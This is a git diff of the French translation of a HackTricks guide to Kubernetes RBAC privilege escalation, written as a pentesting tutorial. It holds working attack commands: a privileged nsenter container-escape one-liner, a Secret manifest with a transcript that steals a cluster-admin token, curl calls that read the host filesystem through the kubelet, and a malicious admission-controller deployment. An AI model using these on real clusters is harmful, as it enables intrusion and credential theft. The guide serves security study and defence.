mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
Translator
@@ -7,12 +7,12 @@ N'oubliez pas que vous pouvez obtenir toutes les ressources prises en charge ave
|
||||
|
||||
## **Escalade de Privilèges**
|
||||
|
||||
Se référant à l'art d'obtenir **l'accès à un autre principal** au sein du cluster **avec des privilèges différents** (au sein du cluster kubernetes ou vers des clouds externes) de ceux que vous avez déjà, dans Kubernetes, il existe essentiellement **4 techniques principales pour escalader les privilèges** :
|
||||
Se référant à l'art d'obtenir **l'accès à un principal différent** au sein du cluster **avec des privilèges différents** (au sein du cluster kubernetes ou vers des clouds externes) de ceux que vous avez déjà, dans Kubernetes, il existe essentiellement **4 techniques principales pour escalader les privilèges** :
|
||||
|
||||
- Être capable de **se faire passer pour** d'autres utilisateurs/groupes/SAs avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
|
||||
- Être capable de **créer/patcher/exécuter des pods** où vous pouvez **trouver ou attacher des SAs** avec de meilleurs privilèges au sein du cluster kubernetes ou vers des clouds externes
|
||||
- Être capable de **lire des secrets** car les tokens des SAs sont stockés en tant que secrets
|
||||
- Être capable de **s'échapper vers le nœud** depuis un conteneur, où vous pouvez voler tous les secrets des conteneurs s'exécutant sur le nœud, les identifiants du nœud et les permissions du nœud au sein du cloud dans lequel il s'exécute (le cas échéant)
|
||||
- Être capable de **s'échapper vers le nœud** depuis un conteneur, où vous pouvez voler tous les secrets des conteneurs en cours d'exécution sur le nœud, les identifiants du nœud et les permissions du nœud au sein du cloud dans lequel il s'exécute (le cas échéant)
|
||||
- Une cinquième technique qui mérite d'être mentionnée est la capacité de **faire un port-forward** dans un pod, car vous pourriez être en mesure d'accéder à des ressources intéressantes au sein de ce pod.
|
||||
|
||||
### Accéder à n'importe quelle ressource ou verbe (Wildcard)
|
||||
@@ -33,9 +33,9 @@ verbs: ["*"]
|
||||
|
||||
Dans RBAC, certaines permissions présentent des risques significatifs :
|
||||
|
||||
1. **`create` :** Accorde la capacité de créer n'importe quelle ressource de cluster, risquant une élévation de privilèges.
|
||||
2. **`list` :** Permet de lister toutes les ressources, pouvant potentiellement entraîner une fuite de données sensibles.
|
||||
3. **`get` :** Permet d'accéder aux secrets des comptes de service, posant une menace pour la sécurité.
|
||||
1. **`create`:** Accorde la capacité de créer n'importe quelle ressource de cluster, risquant une élévation de privilèges.
|
||||
2. **`list`:** Permet de lister toutes les ressources, pouvant potentiellement divulguer des données sensibles.
|
||||
3. **`get`:** Permet d'accéder aux secrets des comptes de service, posant une menace pour la sécurité.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Un attaquant ayant les permissions de créer un pod pourrait attacher un compte de service privilégié dans le pod et voler le token pour usurper l'identité du compte de service. Cela permet d'escalader effectivement les privilèges.
|
||||
Un attaquant ayant les permissions de créer un pod pourrait attacher un compte de service privilégié dans le pod et voler le jeton pour usurper l'identité du compte de service. Cela permet d'escalader effectivement les privilèges.
|
||||
|
||||
Exemple d'un pod qui volera le token du compte de service `bootstrap-signer` et l'enverra à l'attaquant :
|
||||
Exemple d'un pod qui volera le jeton du compte de service `bootstrap-signer` et l'enverra à l'attaquant :
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -123,11 +123,11 @@ Une ligne tirée de [ce tweet](https://twitter.com/mauilion/status/1129468485480
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Maintenant que vous pouvez vous échapper vers le nœud, consultez les techniques de post-exploitation dans :
|
||||
Maintenant que vous pouvez échapper au nœud, consultez les techniques post-exploitation dans :
|
||||
|
||||
#### Stealth
|
||||
|
||||
Vous voulez probablement être **plus furtif**, dans les pages suivantes, vous pouvez voir ce à quoi vous pourriez accéder si vous créez un pod en n'activant que certains des privilèges mentionnés dans le modèle précédent :
|
||||
Vous voulez probablement être **plus furtif**. Dans les pages suivantes, vous pouvez voir ce à quoi vous pourriez accéder si vous créez un pod en n'activant que certains des privilèges mentionnés dans le modèle précédent :
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,12 +136,12 @@ Vous voulez probablement être **plus furtif**, dans les pages suivantes, vous p
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Vous pouvez trouver un exemple de comment créer/abuser des configurations de pods privilégiés précédents dans_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Vous pouvez trouver un exemple de comment créer/abuser des configurations de pods privilégiés précédentes dans_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Si vous pouvez **créer** un **pod** (et éventuellement un **compte de service**), vous pourriez être en mesure de **obtenir des privilèges dans l'environnement cloud** en **assignant des rôles cloud à un pod ou à un compte de service** et ensuite y accéder.\
|
||||
De plus, si vous pouvez créer un **pod avec l'espace de noms réseau de l'hôte**, vous pouvez **voler le rôle IAM** de l'instance **nœud**.
|
||||
De plus, si vous pouvez créer un **pod avec l'espace de noms réseau de l'hôte**, vous pouvez **voler le rôle IAM** de l'instance **node**.
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
@@ -199,14 +199,14 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
### port-forward
|
||||
|
||||
Cette permission permet de **transférer un port local vers un port dans le pod spécifié**. Cela est destiné à faciliter le débogage des applications s'exécutant à l'intérieur d'un pod, mais un attaquant pourrait en abuser pour accéder à des applications intéressantes (comme des bases de données) ou vulnérables (webs ?) à l'intérieur d'un pod :
|
||||
Cette permission permet de **rediriger un port local vers un port dans le pod spécifié**. Cela est destiné à faciliter le débogage des applications s'exécutant à l'intérieur d'un pod, mais un attaquant pourrait en abuser pour accéder à des applications intéressantes (comme des bases de données) ou vulnérables (webs ?) à l'intérieur d'un pod :
|
||||
```
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hôtes Écrits /var/log/ Évasion
|
||||
|
||||
Comme [**indiqué dans cette recherche**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si vous pouvez accéder ou créer un pod avec le **répertoire `/var/log/` des hôtes monté** dessus, vous pouvez **vous échapper du conteneur**.\
|
||||
C'est essentiellement parce que lorsque le **Kube-API essaie d'obtenir les logs** d'un conteneur (en utilisant `kubectl logs <pod>`), il **demande le fichier `0.log`** du pod en utilisant le point de terminaison `/logs/` du service **Kubelet**.\
|
||||
C'est essentiellement parce que lorsque le **Kube-API essaie d'obtenir les journaux** d'un conteneur (en utilisant `kubectl logs <pod>`), il **demande le fichier `0.log`** du pod en utilisant le point de terminaison `/logs/` du service **Kubelet**.\
|
||||
Le service Kubelet expose le point de terminaison `/logs/` qui expose essentiellement **le système de fichiers `/var/log` du conteneur**.
|
||||
|
||||
Par conséquent, un attaquant ayant **accès en écriture dans le dossier /var/log/** du conteneur pourrait abuser de ce comportement de 2 manières :
|
||||
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Si l'attaquant contrôle un principal avec les **permissions pour lire `nodes/log`**, il peut simplement créer un **symlink** dans `/host-mounted/var/log/sym` vers `/` et en **accédant à `https://<gateway>:10250/logs/sym/` il listera le système de fichiers racine** de l'hôte (changer le symlink peut fournir un accès à des fichiers).
|
||||
- Si l'attaquant contrôle un principal avec les **permissions pour lire `nodes/log`**, il peut simplement créer un **symlink** dans `/host-mounted/var/log/sym` vers `/` et lorsqu'il **accède à `https://<gateway>:10250/logs/sym/`, il listera le système de fichiers racine** de l'hôte (changer le symlink peut fournir un accès à des fichiers).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -310,21 +310,84 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Lister les secrets
|
||||
### Listing Secrets
|
||||
|
||||
La permission de **lister les secrets pourrait permettre à un attaquant de réellement lire les secrets** en accédant au point de terminaison de l'API REST :
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Lecture d'un secret – brute-forcing des ID de jetons
|
||||
### Création et Lecture de Secrets
|
||||
|
||||
Bien qu'un attaquant en possession d'un jeton avec des permissions de lecture nécessite le nom exact du secret pour l'utiliser, contrairement au privilège plus large de _**lister les secrets**_, il existe encore des vulnérabilités. Les comptes de service par défaut dans le système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un jeton alphanumérique aléatoire de cinq caractères (à l'exclusion de certains caractères) selon le [code source](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Il existe un type spécial de secret Kubernetes de type **kubernetes.io/service-account-token** qui stocke les jetons de compte de service. Si vous avez les permissions de créer et de lire des secrets, et que vous connaissez également le nom du compte de service, vous pouvez créer un secret comme suit et ensuite voler le jeton du compte de service de la victime à partir de celui-ci :
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: stolen-admin-sa-token
|
||||
namespace: default
|
||||
annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Exploitation d'exemple :
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
Le jeton est généré à partir d'un ensemble limité de 27 caractères (`bcdfghjklmnpqrstvwxz2456789`), plutôt que de la plage alphanumérique complète. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement exécuter une attaque par force brute pour déduire le jeton en quelques heures, ce qui pourrait entraîner une élévation de privilèges en accédant à des comptes de service sensibles.
|
||||
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
|
||||
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
|
||||
Resources Non-Resource URLs Resource Names Verbs
|
||||
selfsubjectreviews.authentication.k8s.io [] [] [create]
|
||||
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
|
||||
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
||||
secrets [] [] [get create]
|
||||
[/.well-known/openid-configuration/] [] [get]
|
||||
<SNIP>
|
||||
[/version] [] [get]
|
||||
|
||||
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
|
||||
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
|
||||
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
|
||||
secret/stolen-admin-sa-token created
|
||||
|
||||
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
|
||||
{
|
||||
"apiVersion": "v1",
|
||||
"data": {
|
||||
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
|
||||
"namespace": "ZGVmYXVsdA==",
|
||||
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
|
||||
},
|
||||
"kind": "Secret",
|
||||
"metadata": {
|
||||
"annotations": {
|
||||
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
|
||||
"kubernetes.io/service-account.name": "cluster-admin-sa",
|
||||
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
|
||||
},
|
||||
"creationTimestamp": "2025-01-11T13:02:27Z",
|
||||
"name": "stolen-admin-sa-token",
|
||||
"namespace": "default",
|
||||
"resourceVersion": "1019116",
|
||||
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
|
||||
},
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Notez que si vous êtes autorisé à créer et lire des secrets dans un certain namespace, le serviceaccount de la victime doit également se trouver dans ce même namespace.
|
||||
|
||||
### Lecture d'un secret – force brute des identifiants de token
|
||||
|
||||
Bien qu'un attaquant en possession d'un token avec des permissions de lecture nécessite le nom exact du secret pour l'utiliser, contrairement au privilège plus large de _**lister les secrets**_, il existe encore des vulnérabilités. Les comptes de service par défaut dans le système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un token alphanumérique aléatoire de cinq caractères (à l'exclusion de certains caractères) selon le [code source](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Le token est généré à partir d'un ensemble limité de 27 caractères (`bcdfghjklmnpqrstvwxz2456789`), plutôt que de la plage alphanumérique complète. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement exécuter une attaque par force brute pour déduire le token en quelques heures, ce qui pourrait conduire à une élévation de privilèges en accédant à des comptes de service sensibles.
|
||||
|
||||
### Demandes de signature de certificat
|
||||
|
||||
Si vous avez les verbes **`create`** dans la ressource `certificatesigningrequests` (ou au moins dans `certificatesigningrequests/nodeClient`). Vous pouvez **créer** un nouveau CeSR d'un **nouveau nœud.**
|
||||
Si vous avez les verbes **`create`** dans la ressource `certificatesigningrequests` (ou au moins dans `certificatesigningrequests/nodeClient`). Vous pouvez **créer** un nouveau CeSR d'un **nouveau nœud**.
|
||||
|
||||
Selon la [documentation, il est possible d'approuver automatiquement ces demandes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), donc dans ce cas, vous **n'avez pas besoin de permissions supplémentaires**. Sinon, vous devrez être en mesure d'approuver la demande, ce qui signifie une mise à jour dans `certificatesigningrequests/approval` et `approve` dans `signers` avec resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
|
||||
|
||||
@@ -359,9 +422,9 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Alors, avec le nouveau CSR de nœud approuvé, vous pouvez **abuser** des permissions spéciales des nœuds pour **voler des secrets** et **escalader des privilèges**.
|
||||
Alors, avec le nouveau CSR de nœud approuvé, vous pouvez **abuser** des permissions spéciales des nœuds pour **voler des secrets** et **escalader les privilèges**.
|
||||
|
||||
Dans [**cet article**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) et [**celui-ci**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuration de GKE K8s TLS Bootstrap est configurée avec **signature automatique** et elle est abusée pour générer des identifiants d'un nouveau nœud K8s et ensuite les utiliser pour escalader des privilèges en volant des secrets.\
|
||||
Dans [**cet article**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) et [**celui-ci**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuration de GKE K8s TLS Bootstrap est configurée avec **signature automatique** et elle est abusée pour générer des identifiants d'un nouveau nœud K8s et ensuite abuser de ceux-ci pour escalader les privilèges en volant des secrets.\
|
||||
Si vous **avez les privilèges mentionnés, vous pourriez faire la même chose**. Notez que le premier exemple contourne l'erreur empêchant un nouveau nœud d'accéder aux secrets à l'intérieur des conteneurs parce qu'un **nœud ne peut accéder qu'aux secrets des conteneurs montés sur lui.**
|
||||
|
||||
La façon de contourner cela est simplement de **créer des identifiants de nœud pour le nom du nœud où le conteneur avec les secrets intéressants est monté** (mais vérifiez juste comment le faire dans le premier article) :
|
||||
@@ -370,7 +433,7 @@ La façon de contourner cela est simplement de **créer des identifiants de nœu
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Les principaux qui peuvent modifier **`configmaps`** dans l'espace de noms kube-system sur les clusters EKS (doivent être dans AWS) peuvent obtenir des privilèges d'administrateur de cluster en écrasant le **aws-auth** configmap.\
|
||||
Les principaux qui peuvent modifier **`configmaps`** dans l'espace de noms kube-system sur les clusters EKS (doivent être dans AWS) peuvent obtenir des privilèges d'administrateur de cluster en écrasant le **configmap** **aws-auth**.\
|
||||
Les verbes nécessaires sont **`update`** et **`patch`**, ou **`create`** si le configmap n'a pas été créé :
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -413,7 +476,7 @@ groups:
|
||||
> [!WARNING]
|
||||
> Vous pouvez utiliser **`aws-auth`** pour **la persistance** en donnant accès à des utilisateurs d'**autres comptes**.
|
||||
>
|
||||
> Cependant, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne fonctionne pas depuis un compte différent**. Mais en réalité, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` fonctionne si vous mettez l'ARN du cluster au lieu du simple nom.\
|
||||
> Cependant, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne fonctionne pas depuis un compte différent**. Mais en réalité, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` fonctionne si vous mettez l'ARN du cluster au lieu de juste le nom.\
|
||||
> Pour faire fonctionner `kubectl`, assurez-vous simplement de **configurer** le **kubeconfig de la victime** et dans les arguments d'exécution aws, ajoutez `--profile other_account_role` afin que kubectl utilise le profil de l'autre compte pour obtenir le token et contacter AWS.
|
||||
|
||||
### Escalade dans GKE
|
||||
@@ -444,11 +507,11 @@ Les principaux qui peuvent **`update`** ou **`patch`** **`pods/ephemeralcontaine
|
||||
|
||||
Les principaux ayant l'un des verbes `create`, `update` ou `patch` sur `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` pourraient être en mesure de **créer l'une de ces configurations de webhook** afin de pouvoir **escalader les privilèges**.
|
||||
|
||||
Pour un [exemple de `mutatingwebhookconfigurations`, consultez cette section de ce post](./#malicious-admission-controller).
|
||||
Pour un exemple de [`mutatingwebhookconfigurations`, consultez cette section de ce post](#malicious-admission-controller).
|
||||
|
||||
### Escalader
|
||||
|
||||
Comme vous pouvez le lire dans la section suivante : [**Prévention intégrée de l'escalade de privilèges**](./#built-in-privileged-escalation-prevention), un principal ne peut ni mettre à jour ni créer des rôles ou des clusterroles sans avoir lui-même ces nouvelles permissions. Sauf s'il a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**.\
|
||||
Comme vous pouvez le lire dans la section suivante : [**Prévention intégrée de l'escalade de privilèges**](#built-in-privileged-escalation-prevention), un principal ne peut ni mettre à jour ni créer des rôles ou des clusterroles sans avoir lui-même ces nouvelles permissions. Sauf s'il a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**.\
|
||||
Alors il peut mettre à jour/créer de nouveaux rôles, clusterroles avec de meilleures permissions que celles qu'il a.
|
||||
|
||||
### Proxy des nœuds
|
||||
@@ -459,7 +522,7 @@ Les principaux ayant accès à la sous-ressource **`nodes/proxy`** peuvent **ex
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Vous avez un exemple de comment obtenir [**RCE en parlant autorisé à une API Kubelet ici**](../pentesting-kubernetes-services/#kubelet-rce).
|
||||
Vous avez un exemple de comment obtenir [**RCE en parlant autorisé à une API Kubelet ici**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
|
||||
### Supprimer des pods + nœuds non planifiables
|
||||
|
||||
@@ -474,45 +537,45 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### État des services (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Les principaux qui peuvent **modifier** **`services/status`** peuvent définir le champ `status.loadBalancer.ingress.ip` pour exploiter le **CVE-2020-8554 non corrigé** et lancer des **attaques MiTM contre le cluster**. La plupart des atténuations pour le CVE-2020-8554 ne préviennent que les services ExternalIP (selon [**ceci**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### État des nœuds et des pods
|
||||
### Nodes and Pods status
|
||||
|
||||
Les principaux avec des permissions **`update`** ou **`patch`** sur `nodes/status` ou `pods/status` pourraient modifier des étiquettes pour affecter les contraintes de planification appliquées.
|
||||
Les principaux avec des permissions **`update`** ou **`patch`** sur `nodes/status` ou `pods/status`, pourraient modifier des étiquettes pour affecter les contraintes de planification appliquées.
|
||||
|
||||
## Prévention intégrée de l'escalade de privilèges
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes dispose d'un [mécanisme intégré](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) pour prévenir l'escalade de privilèges.
|
||||
Kubernetes a un [mécanisme intégré](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) pour prévenir l'escalade de privilèges.
|
||||
|
||||
Ce système garantit que **les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des rôles ou des liaisons de rôles**. L'application de cette règle se fait au niveau de l'API, fournissant une protection même lorsque l'autorisateur RBAC est inactif.
|
||||
Ce système garantit que **les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des rôles ou des liaisons de rôles**. L'application de cette règle se produit au niveau de l'API, fournissant une protection même lorsque l'autorisateur RBAC est inactif.
|
||||
|
||||
La règle stipule qu'un **utilisateur ne peut créer ou mettre à jour un rôle que s'il possède toutes les permissions que le rôle comprend**. De plus, la portée des permissions existantes de l'utilisateur doit correspondre à celle du rôle qu'il tente de créer ou de modifier : soit à l'échelle du cluster pour les ClusterRoles, soit confinée au même espace de noms (ou à l'échelle du cluster) pour les Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Il existe une exception à la règle précédente. Si un principal a le **verbe `escalate`** sur **`roles`** ou **`clusterroles`**, il peut augmenter les privilèges des rôles et des clusterroles même sans avoir les permissions lui-même.
|
||||
|
||||
### **Obtenir & Patch RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Apparemment, cette technique a fonctionné auparavant, mais selon mes tests, elle ne fonctionne plus pour la même raison expliquée dans la section précédente. Vous ne pouvez pas créer/modifier un rolebinding pour vous donner ou donner à un autre SA des privilèges si vous ne les avez pas déjà.**
|
||||
|
||||
Le privilège de créer des Rolebindings permet à un utilisateur de **lier des rôles à un compte de service**. Ce privilège peut potentiellement conduire à une escalade de privilèges car il **permet à l'utilisateur de lier des privilèges d'administrateur à un compte de service compromis.**
|
||||
|
||||
## Autres attaques
|
||||
## Other Attacks
|
||||
|
||||
### Application de proxy sidecar
|
||||
### Sidecar proxy app
|
||||
|
||||
Par défaut, il n'y a pas de cryptage dans la communication entre les pods. Authentification mutuelle, bidirectionnelle, pod à pod.
|
||||
|
||||
#### Créer une application de proxy sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
|
||||
Créez votre .yaml
|
||||
Create your .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Modifiez votre .yaml et ajoutez les lignes décommentées :
|
||||
Éditez votre .yaml et ajoutez les lignes non commentées :
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
@@ -552,9 +615,9 @@ Plus d'infos sur : [https://kubernetes.io/docs/tasks/configure-pod-container/sec
|
||||
|
||||
### Contrôleur d'admission malveillant
|
||||
|
||||
Un contrôleur d'admission **intercepte les requêtes vers le serveur API Kubernetes** avant la persistance de l'objet, mais **après que la requête soit authentifiée** **et autorisée**.
|
||||
Un contrôleur d'admission **intercepte les requêtes vers le serveur API Kubernetes** avant la persistance de l'objet, mais **après que la requête a été authentifiée** **et autorisée**.
|
||||
|
||||
Si un attaquant parvient à **injecter un contrôleur d'admission de mutation**, il pourra **modifier des requêtes déjà authentifiées**. Cela peut potentiellement permettre une élévation de privilèges, et plus généralement persister dans le cluster.
|
||||
Si un attaquant parvient d'une manière ou d'une autre à **injecter un contrôleur d'admission de mutation**, il pourra **modifier des requêtes déjà authentifiées**. Cela peut potentiellement permettre une élévation de privilèges, et plus généralement persister dans le cluster.
|
||||
|
||||
**Exemple de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) :
|
||||
```bash
|
||||
@@ -563,7 +626,7 @@ cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
Vérifiez l'état pour voir si c'est prêt :
|
||||
Vérifiez l'état pour voir s'il est prêt :
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -582,7 +645,7 @@ kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||
|
||||
Comme vous pouvez le voir dans l'image ci-dessus, nous avons essayé d'exécuter l'image `nginx`, mais l'image exécutée finale est `rewanthtammana/malicious-image`. Que s'est-il passé !!?
|
||||
Comme vous pouvez le voir dans l'image ci-dessus, nous avons essayé d'exécuter l'image `nginx`, mais l'image finalement exécutée est `rewanthtammana/malicious-image`. Que s'est-il passé !!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
@@ -613,11 +676,11 @@ Le snippet ci-dessus remplace la première image de conteneur dans chaque pod pa
|
||||
|
||||
- **Inclusion Sélective** : Assurez-vous que seuls les utilisateurs nécessaires sont inclus dans les RoleBindings ou ClusterRoleBindings. Auditez régulièrement et retirez les utilisateurs non pertinents pour maintenir une sécurité stricte.
|
||||
|
||||
### **Rôles Spécifiques aux Namespaces Plutôt que Rôles Globaux**
|
||||
### **Rôles Spécifiques aux Espaces de Noms Plutôt que Rôles Globaux**
|
||||
|
||||
- **Rôles vs. ClusterRoles** : Préférez utiliser des Rôles et des RoleBindings pour des permissions spécifiques aux namespaces plutôt que des ClusterRoles et des ClusterRoleBindings, qui s'appliquent à l'échelle du cluster. Cette approche offre un meilleur contrôle et limite la portée des permissions.
|
||||
- **Rôles vs. ClusterRoles** : Préférez utiliser des Rôles et des RoleBindings pour des permissions spécifiques aux espaces de noms plutôt que des ClusterRoles et des ClusterRoleBindings, qui s'appliquent à l'échelle du cluster. Cette approche offre un contrôle plus fin et limite la portée des permissions.
|
||||
|
||||
### **Utilisez des outils automatisés**
|
||||
### **Utiliser des outils automatisés**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/cyberark/KubiScan
|
||||
|
||||
Reference in New Issue
Block a user